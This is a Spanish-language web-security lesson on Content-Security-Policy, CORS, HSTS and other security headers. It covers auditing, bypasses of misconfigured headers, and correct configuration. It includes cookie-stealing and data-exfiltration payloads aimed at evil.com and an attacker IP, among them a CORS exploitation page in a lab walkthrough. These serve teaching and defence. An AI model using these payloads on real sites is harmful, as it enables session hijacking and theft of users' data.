Aprende › Vulnerabilidades web

CSP, CORS y security headers: configuración correcta y bypass

· 11 min de lectura

Aprende cómo funcionan Content-Security-Policy, CORS, HSTS y otros security headers, cómo se auditan, qué errores de configuración permiten bypass de CSP y robo de datos por CORS permisivo, y cómo configurarlos correctamente.

Los navegadores modernos incluyen varios mecanismos de seguridad que el servidor activa mediante cabeceras HTTP. Content-Security-Policy le dice al navegador qué scripts puede ejecutar. Access-Control-Allow-Origin controla qué orígenes pueden leer las respuestas. Strict-Transport-Security fuerza HTTPS. X-Frame-Options impide que la página se cargue en un iframe. Cada una cierra una superficie de ataque específica.

El problema es que estas cabeceras no vienen configuradas por defecto: el servidor tiene que enviarlas. Y cuando se configuran mal, dan una falsa sensación de seguridad. Una CSP con unsafe-inline no protege contra XSS. Un CORS que refleja cualquier Origin permite robar datos desde cualquier sitio. Una HSTS sin includeSubDomains deja subdominios vulnerables a downgrade.

Es la decimocuarta lección de la Tanda 9. Verás qué hace cada cabecera de seguridad, cómo se auditan, qué errores de configuración permiten bypass y cómo configurarlas correctamente.

Practica estas técnicas solo en sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Explotar configuraciones de seguridad débiles en sitios ajenos sin permiso es un delito.

Qué son los security headers#

Son cabeceras HTTP que el servidor envía en cada respuesta para decirle al navegador cómo debe comportarse. Sin ellas, el navegador aplica sus propios valores por defecto, que suelen ser permisivos: ejecuta cualquier script, permite cualquier origen, no fuerza HTTPS y deja que la página se cargue en un iframe.

Los tres pilares de los security headers: CSP controla qué se ejecuta, CORS controla quién puede pedir, y HSTS y otros complementan la defensa
Los tres pilares de los security headers: CSP controla qué se ejecuta, CORS controla quién puede pedir, y HSTS y otros complementan la defensa

Las cabeceras no son una solución mágica: son una capa de defensa en profundidad. Una CSP bien configurada no evita un XSS en el servidor, pero impide que el payload se ejecute en el navegador. Un CORS restrictivo no evita un SSRF, pero impide que un sitio malicioso lea las respuestas de tu API con las cookies del usuario.

Content Security Policy (CSP)#

CSP es la cabecera más potente y la más compleja. Le dice al navegador exactamente qué recursos puede cargar y ejecutar:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.ejemplo.com; style-src 'self' 'unsafe-inline'; img-src *; object-src 'none'; base-uri 'self'

Directivas principales#

DirectivaQué controla
default-srcPolítica por defecto para todo lo que no tenga directiva propia
script-srcScripts JavaScript
style-srcHojas de estilo CSS
img-srcImágenes
connect-srcPeticiones fetch, XHR, WebSocket
frame-ancestorsQuién puede embeber esta página en un iframe (reemplaza X-Frame-Options)
object-srcPlugins como Flash y Java applets
base-uriValores permitidos para la etiqueta base
form-actionDestinos permitidos para formularios

Valores de las directivas#

  • 'self': solo el mismo origen.
  • 'none': nada permitido.
  • 'unsafe-inline': permite scripts y estilos inline (anula gran parte de la protección contra XSS).
  • 'unsafe-eval': permite eval(), setTimeout("código") y similares.
  • 'nonce-abc123': permite un script con el atributo n. El nonce debe ser aleatorio y distinto en cada respuesta.
  • 'sha256-...': permite un script cuyo hash SHA-256 coincida.
  • URLs: https://cdn.ejemplo.com, https:, data:, blob:.

Report-Only#

Antes de activar una CSP en modo enforce, usa Content-Security-Policy-Report-Only para ver qué se rompe sin bloquear nada. El navegador envía reportes JSON a una URL que indiques con report-uri o report-to.

CORS: Cross-Origin Resource Sharing#

CORS controla qué orígenes pueden leer las respuestas de tu servidor cuando la petición viene de un script en otro dominio. Sin CORS, la Same-Origin Policy del navegador bloquea estas lecturas.

El flujo funciona así:

  1. Un script en evil.com hace fetch("https://api.tuapp.com/datos").
  2. El navegador envía la petición con la cabecera Origin: https://evil.com.
  3. El servidor responde con Access-Control-Allow-Origin: https://evil.com (o no).
  4. Si el Origin está permitido, el navegador le da la respuesta al script. Si no, la bloquea.

Peticiones preflight#

Para peticiones que no son «simples» (usan métodos como PUT/DELETE, o cabeceras personalizadas), el navegador envía primero una petición OPTIONS para preguntar si el servidor lo permite:

OPTIONS /api/datos HTTP/1.1
Host: api.tuapp.com
Origin: https://app.ejemplo.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Authorization

El servidor responde indicando qué permite:

Access-Control-Allow-Origin: https://app.ejemplo.com
Access-Control-Allow-Methods: GET, PUT
Access-Control-Allow-Headers: Authorization
Access-Control-Max-Age: 86400

Access-Control-Allow-Credentials#

Si el servidor envía Access-Control-Allow-Credentials: true, el navegador incluye cookies y cabeceras de autenticación en las peticiones cross-origin. Esto es peligroso: si un atacante consigue que su Origin sea aceptado, puede hacer peticiones autenticadas como si fuera el usuario.

Otros headers críticos#

HeaderQué haceValor recomendado
Strict-Transport-SecurityFuerza HTTPS durante el tiempo indicadomax-age=31536000; includeSubDomains; preload
X-Frame-OptionsImpide que la página se cargue en un iframeDENY o SAMEORIGIN
X-Content-Type-OptionsImpide que el navegador adivine el Content-Typenosniff
Referrer-PolicyControla qué información se envía en la cabecera Refererstrict-origin-when-cross-origin
Permissions-PolicyDesactiva APIs del navegador que no usescamera=(), microph geolocation=()

HSTS (Strict-Transport-Security)#

Sin HSTS, un atacante en la misma red puede interceptar la primera petición HTTP (antes de la redirección a HTTPS) y hacer un downgrade del protocolo (ataque SSL stripping). Con HSTS, el navegador recuerda que ese dominio solo acepta HTTPS y nunca envía una petición HTTP.

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

El preload permite incluir el dominio en la lista hardcoded de los navegadores, protegiendo incluso la primera visita.

Cómo se auditan#

Pruebas manuales#

# Ver todas las cabeceras de respuesta
curl -sI https://ejemplo.com

# Buscar cabeceras de seguridad específicas
curl -sI https://ejemplo.com | grep -iE "content-security|x-frame|strict-transport|x-content-type|referrer-policy|permissions-policy|access-control"
Qué revisarQué buscasRiesgo si falta
CSP presenteContent-Security-Policy en la respuestaXSS más fácil de explotar
CSP sin unsafe-inlinescript-src sin unsafe-inlineXSS inline funciona
CORS restrictivoACAO no refleja cualquier OriginRobo de datos cross-origin
HSTS presenteStrict-Transport-Security con max-age altoDowngrade a HTTP
X-Frame-OptionsDENY o SAMEORIGINClickjacking
nosniffX-Content-Type-Options: nosniffMIME sniffing

Herramientas online#

  • securityheaders.com: analiza las cabeceras de un dominio y da una calificación de la A a la F.
  • Mozilla Observatory: similar, con más detalle sobre cada cabecera.
  • CSP Evaluator (de Google): analiza una CSP y señala debilidades específicas.
  • DevTools del navegador: la pestaña Console muestra errores de CSP cuando un recurso es bloqueado.

Bypass de CSP#

Una CSP mal configurada puede parecer segura pero tener agujeros:

unsafe-inline#

Content-Security-Policy: script-src 'self' 'unsafe-inline'

Con unsafe-inline, cualquier XSS que inyecte un script inline funciona. La CSP no sirve para nada en ese caso:

<script>document.location='https://evil.com/?c='+document.cookie</script>

CDN con JSONP#

Si la CSP permite un CDN que tiene un endpoint JSONP, el atacante puede usar ese endpoint para ejecutar código:

Content-Security-Policy: script-src 'self' https://cdn.ejemplo.com

Si cdn.ejemplo.com tiene un endpoint JSONP que refleja el callback:

<script src="https://cdn.ejemplo.com/jsonp?callback=alert(1)//"></script>

base-uri sin restricción#

Si la CSP no incluye base-uri, el atacante puede inyectar una etiqueta base que cambie la base de las URLs relativas de los scripts:

<base href="https://evil.com/">

Todos los scripts que usen rutas relativas (como src="/app.js") se cargarán desde evil.com.

Nonce reutilizado#

Si el nonce de la CSP no cambia en cada respuesta, un atacante que lo conozca puede inyectar scripts con el nonce válido. El nonce debe ser criptográficamente aleatorio y de un solo uso.

Wildcard en script-src#

Una CSP con script-src * o script-src https: permite cargar scripts desde cualquier dominio HTTPS. El atacante solo necesita subir un archivo JavaScript a cualquier CDN o hosting y cargarlo en la página víctima. Es equivalente a no tener CSP para scripts.

data: y blob:#

Si script-src incluye data:, el atacante puede inyectar scripts con URIs de tipo data:text/javascript,alert(1). Lo mismo aplica a blob:. Ambas directivas deben evitarse en script-src.

Errores de configuración CORS#

Reflejar cualquier Origin#

@app.after_request
def add_cors(response):
    origin = request.headers.get("Origin")
    response.headers["Access-Control-Allow-Origin"] = origin  # MAL: refleja lo que sea
    response.headers["Access-Control-Allow-Credentials"] = "true"
    return response

Esto permite que cualquier sitio haga peticiones autenticadas a la API y lea las respuestas. Un atacante en evil.com puede robar los datos del usuario.

Aceptar null Origin#

Algunos servidores aceptan Origin: null, que el navegador envía desde páginas locales, iframes sandbox y redirecciones. Un atacante puede forzar un Origin: null desde un iframe:

<iframe sandbox="allow-scripts" src="data:text/html,<script>fetch('https://api.victima.com/datos',{credentials:'include'}).then(r=>r.text()).then(d=>new Image().src='https://evil.com/?d='+d)</script>"></iframe>

Wildcard con credentials#

La especificación CORS prohíbe Access-Control-Allow-Origin: * con Access-Control-Allow-Credentials: true. Pero algunos servidores o proxies mal configurados lo permiten o lo traducen a reflejar el Origin.

Explotación paso a paso en un laboratorio#

Escenario típico similar a los laboratorios GUESTBOOK y PROXY.

Paso 1: auditar las cabeceras#

curl -sI http://IP_DEL_LAB/ | grep -iE "content-security|access-control|x-frame|strict"

Observa qué cabeceras faltan y cuáles están mal configuradas.

Paso 2: probar CORS permisivo#

Envía una petición con un Origin arbitrario:

curl -s -H "Origin: https://evil.com" http://IP_DEL_LAB/api/perfil -c cookies.txt -b cookies.txt -D -

Si la respuesta incluye Access-Control-Allow-Origin: https://evil.com y Access-Control-Allow-Credentials: true, el CORS es vulnerable.

Paso 3: explotar el CORS#

Crea una página HTML en tu servidor de ataque:

<script>
fetch('http://IP_DEL_LAB/api/perfil', {credentials: 'include'})
  .then(r => r.json())
  .then(d => fetch('http://IP_ATACANTE:8000/steal?data=' + btoa(JSON.stringify(d))));
</script>

Si una víctima con sesión activa visita esa página, sus datos se envían a tu servidor.

Paso 4: identificar bypass de CSP#

Si la aplicación tiene una CSP con unsafe-inline, cualquier XSS inyectado funciona directamente. Si usa un nonce pero lo reutiliza, inspecciona varias respuestas para confirmar que el nonce es estático.

Qué puede lograr un atacante#

ImpactoEscenario
Robo de datos autenticadosCORS permisivo permite leer la API con las cookies del usuario
XSS efectivoCSP débil o ausente permite ejecutar scripts inyectados
ClickjackingSin X-Frame-Options, la página se carga en un iframe oculto
Downgrade a HTTPSin HSTS, un atacante en la red hace SSL stripping
Session hijackingXSS + falta de CSP permite robar cookies de sesión
Phishing por iframeSin frame-ancestors, la página se embebe en un sitio falso

Cómo se configura correctamente#

Configuración correcta de los cuatro pilares: CSP estricta con nonces, CORS restrictivo, HSTS obligatorio y headers complementarios
Configuración correcta de los cuatro pilares: CSP estricta con nonces, CORS restrictivo, HSTS obligatorio y headers complementarios

CSP estricta con nonces#

Content-Security-Policy: default-src 'none'; script-src 'nonce-RANDOM123'; style-src 'self'; img-src 'self' https://cdn.ejemplo.com; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'

El nonce debe ser criptográficamente aleatorio (al menos 128 bits), distinto en cada respuesta, y cada script legítimo debe incluirlo.

CORS restrictivo#

ORIGENES_PERMITIDOS = {"https://app.ejemplo.com", "https://admin.ejemplo.com"}

@app.after_request
def add_cors(response):
    origin = request.headers.get("Origin")
    if origin in ORIGENES_PERMITIDOS:
        response.headers["Access-Control-Allow-Origin"] = origin
        response.headers["Access-Control-Allow-Credentials"] = "true"
    return response

Configuración completa en Nginx#

add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;

Errores comunes al defenderse#

  • Poner CSP con unsafe-inline «porque es más fácil». Anula la protección contra XSS, que es el principal objetivo de CSP.
  • Reflejar el Origin en CORS sin validar. Usar una lista blanca explícita de orígenes, nunca reflejar lo que llegue.
  • Olvidar includeSubDomains en HSTS. Sin él, los subdominios siguen siendo vulnerables a SSL stripping.
  • Configurar CSP solo en la página principal. Cada respuesta debe incluir la CSP, incluyendo APIs, páginas de error y redirecciones.
  • No monitorizar los reportes de CSP. Los reportes muestran tanto intentos de ataque como scripts legítimos que faltan en la política.
  • Usar X-Frame-Options ALLOW-FROM. No todos los navegadores lo soportan; usa frame-ancestors en CSP.

Preguntas frecuentes#

¿CSP elimina completamente el riesgo de XSS?#

No. CSP es una capa de defensa en profundidad. Si un atacante encuentra un bypass (CDN con JSONP, nonce reutilizado, base-uri sin restricción), el XSS puede ejecutarse. La CSP reduce enormemente la superficie, pero la validación de entrada y la codificación de salida siguen siendo la defensa principal.

¿Qué pasa si mi aplicación necesita estilos inline?#

Puedes usar style-src 'unsafe-inline' para estilos (el riesgo es mucho menor que en scripts) o, mejor, usa nonces o hashes para los estilos específicos que necesitas. El riesgo principal de unsafe-inline está en script-src.

¿CORS protege contra CSRF?#

No directamente. CORS controla si el navegador deja leer la respuesta, no si la petición se envía. Una petición POST simple se envía aunque el CORS la bloquee (solo la respuesta no se lee). Para proteger contra CSRF, usa tokens anti-CSRF.

¿Cómo sé si mi CSP es buena?#

Usa CSP Evaluator de Google. Introduce tu política y te dice si tiene debilidades conocidas. Una CSP que pase sin warnings en CSP Evaluator es un buen punto de partida.

¿Puedo usar security headers sin cambiar el código?#

Sí. La mayoría se configuran en el servidor web (Nginx, Apache, Caddy) o en el CDN/reverse proxy, sin tocar la aplicación. Solo la CSP con nonces requiere que la aplicación genere el nonce y lo incluya en los scripts.

Resumen#

  • CSP controla qué scripts, estilos e imágenes puede cargar el navegador. Sin unsafe-inline y con nonces aleatorios, bloquea la mayoría de los XSS.
  • CORS controla qué orígenes pueden leer las respuestas de tu API. Reflejar cualquier Origin con credentials permite robo de datos autenticados.
  • HSTS fuerza HTTPS y previene SSL stripping. Incluye siempre includeSubDomains y preload.
  • Otros headers como X-Frame-Options, X-Content-Type-Options y Referrer-Policy cierran superficies de ataque específicas.
  • Una CSP con unsafe-inline, un CORS que refleja el Origin y la ausencia de HSTS son los tres errores más comunes en auditorías.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría